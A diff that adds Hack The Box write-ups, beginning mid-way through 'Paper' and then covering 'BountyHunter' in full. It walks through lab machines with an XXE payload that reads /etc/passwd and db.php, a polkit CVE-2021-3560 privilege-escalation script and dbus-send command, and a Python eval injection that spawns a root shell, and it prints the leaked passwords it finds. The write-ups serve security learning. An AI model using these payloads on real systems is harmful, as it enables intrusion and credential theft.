2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) + |_http-title: HTTP Server Test Page powered by CentOS + | http-methods: + |_ Potentially risky methods: TRACE + |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 + |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 + 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) + |_http-title: HTTP Server Test Page powered by CentOS + |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 + | http-methods: + |_ Potentially risky methods: TRACE + | tls-alpn: + |_ http/1.1 + |_ssl-date: TLS randomness does not represent time + | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US + | Subject Alternative Name: DNS:localhost.localdomain + | Not valid before: 2021-07-03T08:52:34 + |_Not valid after: 2022-07-08T10:32:34 + |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 15.78 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running apache 2.4.37 which is most likely running CentOS. When we curl port 80 we see it displays another domain: + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → curl -v http://paper.htb + * Trying 10.129.136.31:80... + * Connected to paper.htb (10.129.136.31) port 80 (#0) + GET / HTTP/1.1 + Host: paper.htb + User-Agent: curl/7.84.0 + Accept: */* + + Mark bundle as not supporting multiuse + HTTP/1.1 403 Forbidden + Date: Tue, 30 Aug 2022 18:31:07 GMT + Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 + X-Backend-Server: office.paper + Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT + ETag: "30c0b-5c5c7fdeec240" + Accept-Ranges: bytes + Content-Length: 199691 + Content-Type: text/html; charset=UTF-8 + + + +So we add the domain office.paper to our /etc/hosts file: + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → cat /etc/hosts | grep paper + 10.129.136.31 paper.htb office.paper + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → ping office.paper + PING paper.htb (10.129.136.31) 56(84) bytes of data. + 64 bytes from paper.htb (10.129.136.31): icmp_seq=1 ttl=63 time=23.2 ms + 64 bytes from paper.htb (10.129.136.31): icmp_seq=2 ttl=63 time=23.0 ms + + + +let's enumerate for other subdomains using wfuzz (we specify the wordlist we want to use and we hide 403 code responses): + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → wfuzz -u http://office.paper -H "Host: FUZZ.office.paper" -w /bedrock/strata/kali/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc 403 + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://office.paper/ + Total requests: 4989 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000070: 200 507 L 13015 W 223163 Ch "chat" + ^C /usr/lib/python3.10/site-packages/wfuzz/wfuzz.py:79: UserWarning:Finishing pending requests... + + Total time: 5.887163 + Processed Requests: 192 + Filtered Requests: 191 + Requests/sec.: 32.61332 + + + +wfuzz found the chat.office.paper subdomain so let's also add it to our /etc/hosts file, then we browse it: + +![](prg/65_001.png) + +And here we find a rocketchat instance. Let's go back to it after we get credentials. We move on back to the http site with the TLD office.paper: + +![](prg/65_002.png) ![](prg/65_003.png) + +browsing to **http://office.paper/wp-admin** reveals that it is a wordpress site. So we run wpscan: + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → wpscan --url http://office.paper + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.8.22 + + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [i] Updating the Database ... + [i] Update completed. + + [+] URL: http://office.paper/ [10.129.136.31] + [+] Started: Tue Aug 30 20:47:20 2022 + + Interesting Finding(s): + + [+] Headers + | Interesting Entries: + | - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 + | - X-Powered-By: PHP/7.2.24 + | - X-Backend-Server: office.paper + | Found By: Headers (Passive Detection) + | Confidence: 100% + + [+] WordPress readme found: http://office.paper/readme.html + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + + **[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05). + | Found By: Rss Generator (Passive Detection) + | - http://office.paper/index.php/feed/, generator>https://wordpress.org/?v=5.2.3/generator> + | - http://office.paper/index.php/comments/feed/, generator>https://wordpress.org/?v=5.2.3/generator>** + + [+] WordPress theme in use: construction-techup + | Location: http://office.paper/wp-content/themes/construction-techup/ + | Last Updated: 2021-07-17T00:00:00.000Z + | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt + | [!] The version is out of date, the latest version is 1.4 + | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1 + | Style Name: Construction Techup + | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a... + | Author: wptexture + | Author URI: https://testerwp.com/ + | + | Found By: Css Style In Homepage (Passive Detection) + | + | Version: 1.1 (80% confidence) + | Found By: Style (Passive Detection) + | - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1' + + [+] Enumerating All Plugins (via Passive Methods) + + [i] No plugins Found. + + [+] Enumerating Config Backups (via Passive and Aggressive Methods) + Checking Config Backups - Time: 00:00:00 <****=================================================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00 + + [i] No Config Backups Found. + + [!] No WPScan API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register + + [+] Finished: Tue Aug 30 20:47:25 2022 + [+] Requests Done: 185 + [+] Cached Requests: 5 + [+] Data Sent: 44.421 KB + [+] Data Received: 18.75 MB + [+] Memory used: 227.438 MB + [+] Elapsed time: 00:00:04 + +So here this wordpress instance is vulnerable to CVE-2019-17671, which is basically a mistake which allows us to view published posts with the following PHP variable: **?static=1** which allows us to see all the other posts: + +![](prg/65_004.png) + +here a secret post reveals to us the secret registering link, so let's use it to create an account: + +![](prg/65_005.png) + +once we log in, we can see the following info: + +![](prg/65_006.png) + +Basically there's a bot called recyclops and we can reach it via DM to type commands: + +![](prg/65_007.png) + +We can list files with the command "list" + +![](prg/65_008.png) + +And with directory traversal we see that there is a user on the box called "dwight". + +![](prg/65_009.png) + +Going just one directory up we see the directory hubot containing a .env file with plaintext credentials: **recyclops/Queenofblad3s!23** , so let's check for password reuse with the user dwight: + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → crackmapexec ssh office.paper -u dwight -p 'Queenofblad3s!23' + [*] First time use detected + [*] Creating home directory structure + [*] Creating default workspace + [*] Initializing SMB protocol database + [*] Initializing LDAP protocol database + [*] Initializing SSH protocol database + [*] Initializing MSSQL protocol database + [*] Initializing WINRM protocol database + [*] Copying default configuration file + [*] Generating SSL certificate + /usr/lib/python3/dist-packages/pywerview/requester.py:144: SyntaxWarning: "is not" with a literal. Did you mean "!="? + if result['type'] is not 'searchResEntry': + SSH paper.htb 22 office.paper [*] SSH-2.0-OpenSSH_8.0 + SSH paper.htb 22 office.paper [+] dwight:Queenofblad3s!23 + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → ssh dwight@office.paper + The authenticity of host 'office.paper (10.129.136.31)' can't be established. + ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ. + This key is not known by any other names + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'office.paper' (ED25519) to the list of known hosts. + dwight@office.paper's password: + Activate the web console with: systemctl enable --now cockpit.socket + + Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23 + [dwight@paper ~]$ id + uid=1004(dwight) gid=1004(dwight) groups=1004(dwight) + [dwight@paper ~]$ cat user.txt + a0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we managed to log in and get the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc let's enumerate the possible privesc paths using linpeas.sh: + + + [term1] + [dwight@paper ~]$ which wget curl + /usr/bin/wget + /usr/bin/curl + + [term2] + [ 10.10.14.13/23 ] [ nowhere ] [~/HTB/Paper] + → wget https://github.com/carlospolop/PEASS-ng/releases/download/20220828/linpeas.sh + --2022-08-30 21:12:52-- https://github.com/carlospolop/PEASS-ng/releases/download/20220828/linpeas.sh + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/14f0a504-adb0-4d42-918e-9a222fa1ba90?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20220830%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20220830T191251Z&X-Amz-Expires;=300&X-Amz-Signature;=9743821c11a0ac568713ac91163de2aee6d92a3462a4cfe931bf777ecbafbc1e&X-Amz-SignedHeaders;=host&actor;_id=0&key;_id=0&repo;_id=165548191&response-content-disposition;=attachment%3B%20filename%3Dlinpeas.sh&response-content-type;=application%2Foctet-stream [following] + --2022-08-30 21:12:53-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/14f0a504-adb0-4d42-918e-9a222fa1ba90?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20220830%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20220830T191251Z&X-Amz-Expires;=300&X-Amz-Signature;=9743821c11a0ac568713ac91163de2aee6d92a3462a4cfe931bf777ecbafbc1e&X-Amz-SignedHeaders;=host&actor;_id=0&key;_id=0&repo;_id=165548191&response-content-disposition;=attachment%3B%20filename%3Dlinpeas.sh&response-content-type;=application%2Foctet-stream + Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ... + Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 807205 (788K) [application/octet-stream] + Saving to: ‘linpeas.sh’ + + linpeas.sh 100%[=======================================================================================================================================================>] 788.29K 4.40MB/s in 0.2s + + 2022-08-30 21:12:53 (4.40 MB/s) - ‘linpeas.sh’ saved [807205/807205] + + + [ 10.10.14.13/23 ] [ nowhere ] [~/HTB/Paper] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term1] + [dwight@paper ~]$ wget 10.10.14.13:9090/linpeas.sh + --2022-08-30 15:13:45-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 807205 (788K) [application/x-sh] + Saving to: ‘linpeas.sh’ + + linpeas.sh 100%[=======================================================================================================================================================>] 788.29K 2.00MB/s in 0.4s + + 2022-08-30 15:13:46 (2.00 MB/s) - ‘linpeas.sh’ saved [807205/807205] + + [dwight@paper ~]$ chmod +x linpeas.sh + [dwight@paper ~]$ ./linpeas.sh + + + +` ![](prg/65_010.png) ![](prg/65_011.png) + +Here we see that there should be a buffer overflow vulnerability with the sudo binary, vulnerability nicknamed "Baron Samedit". To check if it is vulnerable we need to run **sudoedit -s /** and if it returns **sudoedit /: not a regular file** then it is vulnerable: + + + [dwight@paper ~]$ sudoedit -s / + usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ... + + + +It's not, however linpeas.sh also picked up that the VM is vulnerable to CVE-2021-3560, so let's exploit it as follows: + + + [term1] + [ 10.10.14.13/23 ] [ nowhere ] [~/HTB/Paper] + → wget https://raw.githubusercontent.com/curtishoughton/CVE-2021-3560/master/CVE-2021-3560.py + --2022-08-30 21:29:20-- https://raw.githubusercontent.com/curtishoughton/CVE-2021-3560/master/CVE-2021-3560.py + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 2803 (2.7K) [text/plain] + Saving to: ‘CVE-2021-3560.py’ + + CVE-2021-3560.py 100%[=======================================================================================================================================================>] 2.74K --.-KB/s in 0.001s + + 2022-08-30 21:29:20 (4.58 MB/s) - ‘CVE-2021-3560.py’ saved [2803/2803] + + + [ 10.10.14.13/23 ] [ nowhere ] [~/HTB/Paper] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.129.136.31 - - [30/Aug/2022 21:29:45] "GET /CVE-2021-3560.py HTTP/1.1" 200 - + + [term2] + [dwight@paper ~]$ wget http://10.10.14.13:9090/CVE-2021-3560.py + --2022-08-30 15:29:44-- http://10.10.14.13:9090/CVE-2021-3560.py + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 2803 (2.7K) [text/x-python] + Saving to: ‘CVE-2021-3560.py’ + + CVE-2021-3560.py 100%[=======================================================================================================================================================>] 2.74K --.-KB/s in 0s + + 2022-08-30 15:29:44 (123 MB/s) - ‘CVE-2021-3560.py’ saved [2803/2803] + + [dwight@paper ~]$ which python python3 + /usr/bin/which: no python in (/home/dwight/.local/bin:/home/dwight/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin) + /usr/bin/python3 + [dwight@paper ~]$ python3 CVE-2021-3560.py + + ##############CVE-2021-3560############## + # __________ .__ __ .__ __ # + # \______ \____ | | | | _|__|/ |_ # + # | ___/ _ \| | | |/ / \ __\ # + # | | ( <****_> ) |_| | || | # + # |____| \____/|____/__|_ \__||__| # + # \/ # + # Local Privilege Escalation Exploit # + # Author: Salman Asad (@deathflash1411) # + ######################################### + + [+] User created! + [+] Username: flash + [+] User ID: 1005 + [!] Run the below command a few times ( <****10) and login via su - flash + + dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$5$HPVUSULZZ8BMl4wE$zisRakxfq9IDf7mY0FUteDiKtYYRjmGkf3RAUjFE2P2' string:GoldenEye & sleep 0.005s ; kill $! + [dwight@paper ~]$ + + + +So let's follow the script's instructions: + + + [dwight@paper ~]$ python3 CVE-2021-3560.py + + ##############CVE-2021-3560############## + [+] User created! + [+] Username: flash + [+] User ID: 1005 + [!] Run the below command a few times (<****10) and login via su - flash + + [dwight@paper ~]$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$5$HPVUSULZZ8BMl4wE$zisRakxfq9IDf7mY0FUteDiKtYYRjmGkf3RAUjFE2P2' string:GoldenEye + [dwight@paper ~]$ su - flash + Password: + [flash@paper ~]$ id + uid=1005(flash) gid=1005(flash) groups=1005(flash),10(wheel) + [flash@paper ~]$ sudo su + + We trust you have received the usual lecture from the local System + Administrator. It usually boils down to these three things: + + #1) Respect the privacy of others. + #2) Think before you type. + #3) With great power comes great responsibility. + + [sudo] password for flash: + [root@paper flash]# id + uid=0(root) gid=0(root) groups=0(root) + [root@paper flash]# cat /root/root.txt + 2fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it! We managed to get the root flag! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/65_graph.png) + diff --git a/Easy/66.md b/Easy/66.md new file mode 100644 index 0000000..b0e71e6 --- /dev/null +++ b/Easy/66.md @@ -0,0 +1,375 @@ +# BountyHunter Writeup + +![](img/66.png) + +## Introduction : + +BountyHunter is an easy Linux box released back in July 2021 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] + → vim /etc/hosts + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] + → cat /etc/hosts | grep bounty + 10.129.95.166 bountyhunter.htb + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] + → nmap -sCV bountyhunter.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-29 16:10 UTC + Nmap scan report for bountyhunter.htb (10.129.95.166) + Host is up (0.027s latency). + Not shown: 998 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA) + | 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA) + |_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-title: Bounty Hunters + |_http-server-header: Apache/2.4.41 (Ubuntu) + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/66_001.png) + +We click "Portal" and it shows us the following: + +![](prg/66_002.png) + +So here we see that we can input some text in the fields, so let's intercept it with burpsuite: + +![](prg/66_003.png) ![](prg/66_004.png) + +So here we see that forwarding the request, once sent adds data to a DB. However let's take a closer look at the data which seems to be a base64 string once b64 decoded: + +![](prg/66_005.png) + + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → vim data + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → cat data + <****?xml version="1.0" encoding="ISO-8859-1"?> <****bugreport> <****title>niihlism + <****cwe>cwe + <****cvss>10.0 + <****reward>999999 + <****/bugreport> + +So from here, we can modify the xml data with a payload to print out /etc/passwd: + + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → vim data + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → cat data + <****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "file:///etc/passwd" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <**/cvss> + <****reward>999999 <****/reward> <****/bugreport> + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → base64 -w0 data + PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICA8IURPQ1RZUEUgbmloaWxpc3QgWyAgCiAgPCFFTEVNRU5UIG5paGlsaXNtIEFOWSA+CiAgPCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA+XT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5uaWhpbGlzbTwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==% + +Then use the b64 string in the burp repeater, and don't forget to URL encode it by selecting it and pressing CTRL+U, then click send: + +![](prg/66_006.png) + +So now we know the users on the system, so let's continue by looking for other files: + + + [ 10.10.16.14/23 ] [ nowhere ] [~] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://bountyhunter.htb/ -x php + =============================================================== + Gobuster v3.3 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://bountyhunter.htb/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.3 + [+] Extensions: php + [+] Timeout: 10s + =============================================================== + 2022/11/20 11:10:47 Starting gobuster in directory enumeration mode + =============================================================== + /.php (Status: 403) [Size: 281] + /index.php (Status: 200) [Size: 25169] + /resources (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/] + /assets (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/] + /portal.php (Status: 200) [Size: 125] + /css (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/] + /db.php (Status: 200) [Size: 0] + /js (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/] + + + +So let's try to print out the db.php file using the php filter base64-encode method to avoid having the php code being executed when we try to read it: + + + <****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <****/cvss> <****reward>999999 <****/reward> <****/bugreport> + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → base64 -w0 dataphp + PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/PgogIDwhRE9DVFlQRSBub3RoaW5nIFsgIAogIDwhRUxFTUVOVCBub3RoaW5nIEFOWSA+CiAgPCFFTlRJVFkgbmloaWxpc20gU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0+CgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU+Jm5paGlsaXNtOzwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==% + +` ![](prg/66_007.png) + +So it managed to read the db.php file and gave out it's contents in b64 format, so let's decode it: + + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → echo 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=' + | base64 -d + <****?php + // TODO -> Implement login system with the database. + $dbserver = "localhost"; + $dbname = "bounty"; + $dbusername = "admin"; + $dbpassword = "**m19RoAU0hP41A1sTsq6K** "; + $testuser = "test"; + ?> + + + +And now we have credentials ! Coupled with the development username we found earlier, we login: + + + [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] + → sshpub development@bountyhunter.htb + The authenticity of host 'bountyhunter.htb (10.129.95.166)' can't be established. + ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ. + This key is not known by any other names. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'bountyhunter.htb' (ED25519) to the list of known hosts. + development@bountyhunter.htb's password: + Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Sun 20 Nov 2022 11:16:54 AM UTC + + System load: 0.01 + Usage of /: 23.7% of 6.83GB + Memory usage: 13% + Swap usage: 0% + Processes: 217 + Users logged in: 0 + IPv4 address for eth0: 10.129.95.166 + IPv6 address for eth0: dead:beef::250:56ff:fe96:475 + + + 0 updates can be applied immediately. + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + + Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8 + development@bountyhunter:~$ id + uid=1000(development) gid=1000(development) groups=1000(development) + development@bountyhunter:~$ cat user.txt + 62XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We managed to login as the development user. + +## **Part 3 : Getting Root Access** + +Then, in order to privesc, we use linpeas.sh as we did on the Previse box: + + + [term1] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter] + → locate linpeas.sh + /home/nothing/HTB/Cap/linpeas.sh + /home/nothing/HTB/Knife/linpeas.sh + /home/nothing/HTB/Paper/linpeas.sh + /home/nothing/HTB/Previse/linpeas.sh + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter] + → cp /home/nothing/HTB/Previse/linpeas.sh . + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + development@bountyhunter:~$ which wget curl + /usr/bin/wget + /usr/bin/curl + development@bountyhunter:~$ wget http://10.10.16.14:9090/linpeas.sh -O /tmp/peas.sh + --2022-11-20 11:19:30-- http://10.10.16.14:9090/linpeas.sh + Connecting to 10.10.16.14:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776167 (758K) [application/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[==========================================================================================================================================================>] 757.98K 123KB/s in 9.3s + + 2022-11-20 11:19:41 (81.1 KB/s) - ‘/tmp/peas.sh’ saved [776167/776167] + + + development@bountyhunter:~$ chmod +x /tmp/peas.sh + development@bountyhunter:~$ /tmp/peas.sh + + +` ![](prg/66_008.png) + +Let it run, then scrolling through the output we see the following: + +![](prg/66_009.png) + +So apparently the user development can run a python script as the root user, so let's take a look at it: + + + development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py + #Skytrain Inc Ticket Validation System 0.1 + #Do not distribute this file. + + def load_file(loc): + if loc.endswith(".md"): + return open(loc, 'r') + else: + print("Wrong file type.") + exit() + + def evaluate(ticketFile): + #Evaluates a ticket to check for ireggularities. + code_line = None + for i,x in enumerate(ticketFile.readlines()): + if i == 0: + if not x.startswith("# Skytrain Inc"): + return False + continue + if i == 1: + if not x.startswith("## Ticket to "): + return False + print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") + continue + + if x.startswith("__Ticket Code:__"): + code_line = i+1 + continue + + if code_line and i == code_line: + if not x.startswith("**"): + return False + ticketCode = x.replace("**", "").split("+")[0] + if int(ticketCode) % 7 == 4: + validationNumber = eval(x.replace("**", "")) + if validationNumber > 100: + return True + else: + return False + return False + + def main(): + fileName = input("Please enter the path to the ticket file.\n") + ticket = load_file(fileName) + #DEBUG print(ticket) + result = evaluate(ticket) + if (result): + print("Valid ticket.") + else: + print("Invalid ticket.") + ticket.close + + main() + + +This python script validates tickets with the following format: + + + development@bountyhunter:/opt/skytrain_inc$ ls -lash invalid_tickets/ + total 24K + 4.0K drwxr-xr-x 2 root root 4.0K Jul 22 2021 . + 4.0K drwxr-xr-x 3 root root 4.0K Jul 22 2021 .. + 4.0K -r--r--r-- 1 root root 102 Jul 22 2021 390681613.md + 4.0K -r--r--r-- 1 root root 86 Jul 22 2021 529582686.md + 4.0K -r--r--r-- 1 root root 97 Jul 22 2021 600939065.md + 4.0K -r--r--r-- 1 root root 101 Jul 22 2021 734485704.md + development@bountyhunter:/opt/skytrain_inc$ cat invalid_tickets/734485704.md + # Skytrain Inc + ## Ticket to Bridgeport + __ticket code:__ + **18+71+8** + ##Issued: 2021/06/21 + #End Ticket + + + +So the idea is to create a poisoned ticket like so: + + + development@bountyhunter:~$ cat /tmp/nihi.md + # Skytrain Inc + ## Ticket to Bridgeport + __Ticket Code:__ + ****32+110+43+ __import__('os').system('id')**** + ##Issued: 2022/11/22 + #End Ticket + + development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py + Please enter the path to the ticket file. + /tmp/nihi.md + Destination: Bridgeport + **uid=0(root) gid=0(root) groups=0(root)** + Valid ticket. + + + +And as you can see we managed to get code execution as the root user, so let's use it to spawn a root shell: + + + development@bountyhunter:~$ vim /tmp/nihi.md + development@bountyhunter:~$ cat /tmp/nihi.md + # Skytrain Inc + ## Ticket to Bridgeport + __Ticket Code:__ + **32+110+43+ __import__('os').system('bash')** + ##Issued: 2022/11/22 + #End Ticket + development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py + Please enter the path to the ticket file. + /tmp/nihi.md + Destination: Bridgeport + root@bountyhunter:/home/development# id + uid=0(root) gid=0(root) groups=0(root) + root@bountyhunter:/home/development# cd + root@bountyhunter:~# cat root.txt + af1770ee0049711f6b5450004f011db0 + 